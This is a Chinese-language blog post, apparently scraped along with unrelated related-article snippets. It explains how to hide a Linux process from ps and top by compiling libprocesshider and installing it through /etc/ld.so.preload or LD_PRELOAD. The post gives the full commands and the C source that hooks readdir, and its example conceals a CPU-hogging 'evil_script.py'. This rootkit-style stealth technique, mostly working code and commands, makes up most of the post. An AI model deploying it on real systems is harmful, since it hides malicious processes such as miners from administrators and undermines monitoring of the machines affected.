linux 下隐藏进程的一种方法
前言
- 本文所用到的工具在 https://github.com/gianlucaborello/libprocesshider 可以下载
- 思路就是利用 LD_PRELOAD 来实现系统函数的劫持
LD_PRELOAD是什么:
LD_PRELOAD是Linux系统的一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入程序,从而达到特定的目的。
实现
1.下载程序编译
bmfxgkpt-yhd:~# git clone https://github.com/gianlucaborello/libprocesshider.git
Cloning into 'libprocesshider'...
remote: Counting objects: 26, done.
remote: Total 26 (delta 0), reused 0 (delta 0), pack-reused 26
Unpacking objects: 100% (26/26), done.
bmfxgkpt-yhd:~# cd libprocesshider/
bmfxgkpt-yhd:~/libprocesshider# make
gcc -Wall -fPIC -shared -o libprocesshider.so processhider.c -ldl
bmfxgkpt-yhd:~/libprocesshider#
2.移动文件到/usr/local/lib/目录下
mv libprocesshider.so /usr/local/lib/
3.把它加载到全局动态连接局
echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload
测试
- 我们运行evil_script.py
- 此时发现在top 与 ps 中都无法找到 evil_script.py

此时我们发现 cpu 100%,但是却找不到任何占用cpu高的程序
分析
#define _GNU_SOURCE
#include <stdio.h>
#include <dlfcn.h>
#include <dirent.h>
#include <string.h>
#include <unistd.h>
/*
* Every process with this name will be excluded
*/
static const char* process_to_filter = "evil_script.py";
/*
* Get a directory name given a DIR* handle
*/
static int get_dir_name(DIR* dirp, char* buf, size_t size)
{
int fd = dirfd(dirp);
if(fd == -1) {
return 0;
}
char tmp[64];
snprintf(tmp, sizeof(tmp), "/proc/self/fd/%d", fd);
ssize_t ret = readlink(tmp, buf, size);
if(ret == -1) {
return 0;
}
buf[ret] = 0;
return 1;
}
/*
* Get a process name given its pid
*/
static int get_process_name(char* pid, char* buf)
{
if(strspn(pid, "0123456789") != strlen(pid)) {
return 0;
}
char tmp[256];
snprintf(tmp, sizeof(tmp), "/proc/%s/stat", pid);
FILE* f = fopen(tmp, "r");
if(f == NULL) {
return 0;
}
if(fgets(tmp, sizeof(tmp), f) == NULL) {
fclose(f);
return 0;
}
fclose(f);
int unused;
sscanf(tmp, "%d (%[^)]s", &unused, buf);
return 1;
}
#define DECLARE_READDIR(dirent, readdir) \
static struct dirent* (*original_##readdir)(DIR*) = NULL; \
\
struct dirent* readdir(DIR *dirp) \
{ \
if(original_##readdir == NULL) { \
original_##readdir = dlsym(RTLD_NEXT, "readdir"); \
if(original_##readdir == NULL) \
{ \
fprintf(stderr, "Error in dlsym: %s\n", dlerror()); \
} \
} \
\
struct dirent* dir; \
\
while(1) \
{ \
dir = original_##readdir(dirp); \
if(dir) { \
char dir_name[256]; \
char process_name[256]; \
if(get_dir_name(dirp, dir_name, sizeof(dir_name)) && \
strcmp(dir_name, "/proc") == 0 && \
get_process_name(dir->d_name, process_name) && \
strcmp(process_name, process_to_filter) == 0) { \
continue; \
} \
} \
break; \
} \
return dir; \
}
DECLARE_READDIR(dirent64, readdir64);
DECLARE_READDIR(dirent, readdir);
- 程序定义了一个变量 process_to_filter 来控制不显示哪个进程名
- 重写readdir,
strcmp(process_name, process_to_filter) == 0)
当发现当前进程名称与 process_to_filter 相同时,继续循环.
遇到的坑
某些Linux中这个程序编译通不过
解决方法
删除最后两行中的一行
DECLARE_READDIR(dirent64, readdir64);
DECLARE_READDIR(dirent, readdir);
某些Linux中使用
echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload
并不会生效
此时我们需要配置环境变量bmfxgkpt-yhd:~# vi /etc/profile
增加一行
export LD_PRELOAD=/usr/local/lib/libprocesshider.so
linux 下隐藏进程的一种方法的更多相关文章
- Linux 下操作GPIO(两种方法,驱动和mmap)(转载)
目前我所知道的在Linux下操作GPIO有两种方法: 1.编写驱动,这当然要熟悉Linux下驱动的编写方法和技巧,在驱动里可以使用ioremap函数获得GPIO物理基地址指针,然后使用这个指针根据io ...
- Linux 下操作gpio(两种方法,驱动和mmap)
目前我所知道的在linux下操作GPIO有两种方法: 1. 编写驱动,这当然要熟悉linux下驱动的编写方法和技巧,在驱动里可以使用ioremap函数获得GPIO物理基地址指针,然后使用这个指针根据 ...
- linux下查询进程占用的内存方法总结
linux下查询进程占用的内存方法总结,假设现在有一个「php-cgi」的进程 ,进程id为「25282」.现在想要查询该进程占用的内存大小.linux命令行下有很多的工具进行查看,现总结常见的几种方 ...
- 20155212 C语言实现linux下pwd命令的两种方法
20155212 C语言实现linux下pwd命令的两种方法 学习pwd命令 通过man pwd命令查看 pwd [OPTION],一般不加参数 -P显示当前目录的物理路径 -L显示当前目录的连接路径 ...
- Linux下线程同步的几种方法
Linux下提供了多种方式来处理线程同步,最常用的是互斥锁.条件变量和信号量. 一.互斥锁(mutex) 锁机制是同一时刻只允许一个线程执行一个关键部分的代码. 1. 初始化锁 int pthrea ...
- linux下配置ip地址四种方法(图文方法)
主要是用第四种方法 (1)Ifconfig命令 第一种使用ifconfig命令配置网卡的ip地址.此命令通常用来零时的测试用,计算机启动后 ip地址的配置将自动失效.具体用法如下.Ipconfig ...
- Linux启动新进程的三种方法
程序中,我们有时需要启动一个新的进程,来完成其他的工作.下面介绍了三种实现方法,以及这三种方法之间的区别. 1.system函数-调用shell进程,开启新进程system函数,是通过启动shell进 ...
- linux下删除空行的几种方法
在查看linux下的配置文件时,为了便于一目了然的查看,经常会删除空行和#头的行.而linux在删除空行的方法很多,grep.sed.awk.tr等工具都能实现.现总结如下: 1.grep grep ...
- Linux启动新进程的几种方法汇总
有时候,我们需要在自己的程序(进程)中启动另一个程序(进程)来帮助我们完成一些工作,那么我们需要怎么才能在自己的进程中启动其他的进程呢?在Linux中提供了不少的方法来实现这一点,下面就来介绍一个这些 ...
随机推荐
- 小技巧-mac修改finder菜单栏
效果: 方法: 添加:打开finder后,长按command,可以将其他app拖到菜单栏. 删除:同理,长按command,将不需要的图标拖出菜单栏即可. PS:强烈推荐gotoshell这个小工具, ...
- 03-14_WLST配置现有的Domain
本文重点: WLST在线模式配置现有的domains. WLST离线模式配置现有的domains. 1.WLST在线模式配置现有的domains 由于和一个活动的domain进行交互, ...
- Asp.Net配置不允许通过url方式访问目录下的资源
Asp.Net网站发布后,有部分文件为了安全性,是不能直接通过url访问获取 通常有2种做法: 1.将文件目录建立在 App_code 或者App_Data 等默认的隐藏目录下 2.将文件的目录添加到 ...
- SQL中的每一张表都必须设有主键吗
问题描述: 公司的数据库表有时候会看到没有主键的,SQL中的每一张表都必须设有主键吗? 主键的作用: 1)保证实体的完整性: 2)加快数据库的操作速度: 3)在表中添加新记录时,数据库ACCESS会自 ...
- safari 与 chrome 的小区别大BUG
safari 与 chrome 的小区别大BUG 时间:2016-11-01 17:33:19 作者:zhongxia 原文地址:https://github.com/zhongxia245/blog ...
- 阿里八八β阶段Scrum(4/5)
今日进度 黄梅玲: 图表绘制与实时更新的完成 刘晓: 数据分析表格部分生成完成 张岳: 初步完成简易的桌面控件 陈裕鹏: 事件添加TAG标签的功能完成,此外信息抽取算法也基本完成并PULL,但与项目产 ...
- Beta冲刺(5/5)(麻瓜制造者)
今日已完成 邓弘立:完成了图书馆新功能 符天愉:完成管理员用户查询,删除商品/需求以及注销功能 江郑:进行后台管理员的web开发 刘双玉:修改了商品搜索中数据返回类型不对的错误,添加了图书馆查询接口 ...
- SpringMVC 使用JSR-303进行校验 @Valid
注意:1 public String save(@ModelAttribute("house") @Valid House entity, BindingResult result ...
- span 文本内容超过宽度自动换行
span{word-break:normal; width:auto; display:block; white-space:pre-wrap;word-wrap : break-word ;over ...
- SQL查询语句,怎样查询重复数据
SQL查询语句,怎样查询重复数据 2012-02-22 14:50神奇的马骁勇 | 浏览 0 次 有表A, 中有字段id, name, memo现在有很多id重复的数据,怎么把这些重复的都查出来?gr ...